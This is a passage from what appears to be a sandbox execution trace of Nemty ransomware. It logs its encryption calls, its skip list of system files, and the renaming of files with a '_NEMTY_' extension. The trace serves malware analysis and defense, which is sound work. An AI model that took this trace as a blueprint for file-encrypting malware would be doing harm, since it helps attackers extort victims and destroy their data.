dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0060.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0060.353] Sleep (dwMilliseconds=0x5) [0060.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd79eec90, dwHighDateTime=0x1d561e7)) [0060.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd79eec90, dwHighDateTime=0x1d561e7)) [0060.354] GetLastError () returned 0x5 [0060.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.354] GetLastError () returned 0x5 [0060.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.354] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.354] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.354] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.354] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.355] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0060.355] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ec5c | out: pszString="D8/whubbCyx1JwatoXY1UHs1ZOnkXA0RPnkoy4jT24QyoX/2CYj+AoBwUflkXJQE\r\nRkRNoa6XWBDBDR7QB7XqAnVJeDiqkBaUA0JUC2vgqnK5xySm1sz0M/V27ab54YUt\r\n5KtRvWQtroooOQES2Pa8obsNj8LsLED8o16qh9eSjEvfnrhVLDY8+lSbqbMpdsyN\r\nrLCPIhpmhJhfKGad8T4CsPs1Y4mVszgPSvZkjdGaoVB7/rot7zssWm8NNSozVSnJ\r\nRpE/IRXfjbyhQhYZNTNZzcIFSZ9d50WKo7PWR/v/OwLiq+jyemFNtHPjsFMWI2WM\r\nZujJ4uCJeOMzKYAw/1GGwg==\r\n", pcchString=0x653ec5c) returned 1 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0060.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.355] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401c0 [0060.355] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.355] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.355] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0060.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.365] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.381] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.436] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.436] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.436] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.445] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.445] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.445] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.455] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.455] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.455] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.467] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.467] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.467] CloseHandle (hObject=0xffffffff) returned 0 [0060.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0060.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.467] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0060.467] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94330 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.467] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_VideoInset.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_videoinset.png._nemty_kgobjgd_")) returned 0 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401c0 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.467] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.468] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2=".") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="..") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="...") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="windows") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="rsa") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="NTDETECT.COM") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="ntldr") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="MSDOS.SYS") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="IO.SYS") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="ntuser.dat") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="desktop.ini") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="CONFIG.SYS") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="programdata") returned -1 [0060.468] lstrcmpiW (lpString1="cloud_Thumbnail.bmp", lpString2="appdata") returned 1 [0060.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cloud_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 19 [0060.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0060.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.468] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cloud_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 19 [0060.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0060.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cloud_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 19 [0060.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0060.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cloud_Thumbnail.bmp", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cloud_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 19 [0060.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0060.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0060.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94248 [0060.469] Sleep (dwMilliseconds=0x5) [0060.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7b1f790, dwHighDateTime=0x1d561e7)) [0060.479] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd7b1f790, dwHighDateTime=0x1d561e7)) [0060.479] GetLastError () returned 0x5 [0060.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.479] GetLastError () returned 0x5 [0060.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.479] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.479] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.479] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.480] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.480] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0060.480] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: 